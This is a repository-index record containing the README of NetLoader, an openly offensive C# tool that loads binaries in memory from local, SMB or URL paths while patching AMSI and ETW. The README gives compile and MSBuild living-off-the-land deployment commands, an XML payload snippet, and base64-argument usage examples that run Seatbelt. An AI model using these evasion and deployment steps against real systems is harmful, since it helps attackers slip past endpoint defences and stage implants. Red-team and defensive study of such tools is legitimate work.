{"id":18831769,"url":"https://github.com/flangvik/netloader","last_synced_at":"2025-10-11T06:38:56.484Z","repository":{"id":41518180,"uuid":"261508316","full_name":"Flangvik/NetLoader","owner":"Flangvik","description":"Loads any C# binary in mem, patching AMSI + ETW. ","archived":false,"fork":false,"pushed_at":"2021-10-03T16:41:03.000Z","size":5048,"stargazers_count":838,"open_issues_count":0,"forks_count":151,"subscribers_count":20,"default_branch":"master","last_synced_at":"2025-10-04T03:03:34.055Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"","language":"C#","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Flangvik.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2020-05-05T15:20:16.000Z","updated_at":"2025-09-29T09:27:15.000Z","dependencies_parsed_at":"2022-09-03T17:41:31.667Z","dependency_job_id":null,"html_url":"https://github.com/Flangvik/NetLoader","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/Flangvik/NetLoader","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Flangvik%2FNetLoader","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Flangvik%2FNetLoader/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Flangvik%2FNetLoader/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Flangvik%2FNetLoader/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Flangvik","download_url":"https://codeload.github.com/Flangvik/NetLoader/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Flangvik%2FNetLoader/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":279006448,"owners_count":26084107,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-10-11T02:00:06.511Z","response_time":55,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-11-08T01:55:56.017Z","updated_at":"2025-10-11T06:38:56.458Z","avatar_url":"https://github.com/Flangvik.png","language":"C#","funding_links":[],"categories":[],"sub_categories":[],"readme":"# NetLoader\nLoads any C# binary from filepath or url, patching AMSI and unhooks ETW\n\n** 01.10.2021 : Non-Obfuscated source code + SharpSploit to 'bypass' userland hooks when patching AMSI and ETW**\n\n**Looking for binaries/payloads to deploy? Checkout [SharpCollection](https://github.com/Flangvik/SharpCollection)**!.  \nSharpCollection contains nightly builds of C# offensive tools, fresh from their respective master branches built and released in a CDI fashion using Azure DevOps release pipelines.\n\n# Compile\n\n\tc:\\windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe /t:exe /out:RandomName.exe Program.cs\n\n# Deploy via LOLBin (MSBuild)\n\nPayload for MSBuild is in the /LOLBins folder, might push this for varius other LOLBins aswell.\nArguments have to be added into the bottom XML file when NetLoader is deployed using MSBuild\n\n\tAdding arguments to the XML payload\n\t    public class ClassExample : Task, ITask\n\t    {\n\t        public override bool Execute()\n\t        {\t//Add your arguments here \n\t            SoullikePrincelier.Main(new string[] { \"--path\", \"\\\\smbshare\\Seatbelt.exe\" });\n\t            return true;\n\t        }\n\t    }\n\n\tFor 64 bit:\n\tC:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe NetLoader.xml\n\n\tFor 32 bit:\n\tC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe NetLoader.xml\n\n# Usage\nDeploy payload from local path or SMB share (note that NetLoader automatically detects whether the path provided is local or remote)\n\n\tPS C:\\Users\\Clark Kent\\Desktop\u003e .\\NetLoader.exe --path Seatbelt.exe --args whoami\n\t[!] ~Flangvik , ~Arno0x #NetLoader\n\t[+] Successfully patched AMSI!\n\t[+] URL/PATH : Seatbelt.exe\n\t[+] Arguments : whoami\n\n\n\t\t\t\t\t\t\t%\u0026\u0026@@@\u0026\u0026\n\t\t\t\t\t\t\t\u0026\u0026\u0026\u0026\u0026\u0026\u0026%%%,                       #\u0026\u0026@@@@@@%%%%%%###############%\n\t\t\t\t\t\t\t\u0026%\u0026   %\u0026%%                        \u0026////(((\u0026%%%%%#%################//((((###%%%%%%%%%%%%%%%\n\t%%%%%%%%%%%######%%%#%%####%  \u0026%%**#                      @////(((\u0026%%%%%%######################(((((((((((((((((((\n\t#%#%%%%%%%#######%#%%#######  %\u0026%,,,,,,,,,,,,,,,,         @////(((\u0026%%%%%#%#####################(((((((((((((((((((\n\t#%#%%%%%%#####%%#%#%%#######  %%%,,,,,,  ,,.   ,,         @////(((\u0026%%%%%%%######################(#(((#(#((((((((((\n\t#####%%%####################  \u0026%%......  ...   ..         @////(((\u0026%%%%%%%###############%######((#(#(####((((((((\n\t#######%##########%#########  %%%......  ...   ..         @////(((\u0026%%%%%#########################(#(#######((#####\n\t###%##%%####################  \u0026%%...............          @////(((\u0026%%%%%%%%##############%#######(#########((#####\n\t#####%######################  %%%..                       @////(((\u0026%%%%%%%################\n\t\t\t\t\t\t\t\u0026%\u0026   %%%%%      Seatbelt         %////(((\u0026%%%%%%%%#############*\n\t\t\t\t\t\t\t\u0026%%\u0026\u0026\u0026%%%%%        v1.0.0         ,(((\u0026%%%%%%%%%%%%%%%%%,\n\t\t\t\t\t\t\t #%%%%##,\n\n\n\tERROR: Error running command \"whoami\"\n\n\n\t[*] Completed collection in 0,008 seconds\n\n\nSupports base64 inputs for those long strings that would usually break stuff! \n\n\tPS C:\\Users\\Clark Kent\\Desktop\u003e .\\NetLoader.exe --b64 --path U2VhdGJlbHQuZXhl --args d2hvYW1p\n\t[!] ~Flangvik , ~Arno0x #NetLoader\n\t[+] All arguments are Base64 encoded, decoding them on the fly\n\t[+] Successfully patched AMSI!\n\t[+] URL/PATH : Seatbelt.exe\n\t[+] Arguments : whoami\n\n\n\t\t\t\t\t\t\t%\u0026\u0026@@@\u0026\u0026\n\t\t\t\t\t\t\t\u0026\u0026\u0026\u0026\u0026\u0026\u0026%%%,                       #\u0026\u0026@@@@@@%%%%%%###############%\n\t\t\t\t\t\t\t\u0026%\u0026   %\u0026%%                        \u0026////(((\u0026%%%%%#%################//((((###%%%%%%%%%%%%%%%\n\t%%%%%%%%%%%######%%%#%%####%  \u0026%%**#                      @////(((\u0026%%%%%%######################(((((((((((((((((((\n\t#%#%%%%%%%#######%#%%#######  %\u0026%,,,,,,,,,,,,,,,,         @////(((\u0026%%%%%#%#####################(((((((((((((((((((\n\t#%#%%%%%%#####%%#%#%%#######  %%%,,,,,,  ,,.   ,,         @////(((\u0026%%%%%%%######################(#(((#(#((((((((((\n\t#####%%%####################  \u0026%%......  ...   ..         @////(((\u0026%%%%%%%###############%######((#(#(####((((((((\n\t#######%##########%#########  %%%......  ...   ..         @////(((\u0026%%%%%#########################(#(#######((#####\n\t###%##%%####################  \u0026%%...............          @////(((\u0026%%%%%%%%##############%#######(#########((#####\n\t#####%######################  %%%..                       @////(((\u0026%%%%%%%################\n\t\t\t\t\t\t\t\u0026%\u0026   %%%%%      Seatbelt         %////(((\u0026%%%%%%%%#############*\n\t\t\t\t\t\t\t\u0026%%\u0026\u0026\u0026%%%%%        v1.0.0         ,(((\u0026%%%%%%%%%%%%%%%%%,\n\t\t\t\t\t\t\t #%%%%##,\n\n\n\tERROR: Error running command \"whoami\"\n\n\n\t[*] Completed collection in 0,006 seconds\n\n\n# Todo\n- [X]  Automate the build and release of many of the Sharp Tools so they automagically appear in ~~/Binaries~~ [SharpCollection](https://github.com/Flangvik/SharpCollection) (CDI / Azure DevOps)\n- [X]  Add support for non-interactive use (input args)\n- [X]  Add support to run custom modules from your own URL or SMB Share (Great for on-the-fly Implant deployment)\n- [X]  Add an working MSBuild XML payload for the LOLBins lovers (Myself included)\n- [X]  Update with credits and links to the github repos that ~~/Binaries~~ [SharpCollection](https://github.com/Flangvik/SharpCollection) are compiled from\n\n# Credits\n[Arno0x](https://twitter.com/Arno0x0x) for the partial rewrite that is now merged into the main repo [see gist](https://gist.github.com/Arno0x/2b223114a726be3c5e7a9cacd25053a2)\n[_RastaMouse](https://twitter.com/_RastaMouse/) for the [AMSI bypass](https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/master/ASBBypass/Program.cs)\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fflangvik%2Fnetloader","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fflangvik%2Fnetloader","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fflangvik%2Fnetloader/lists"}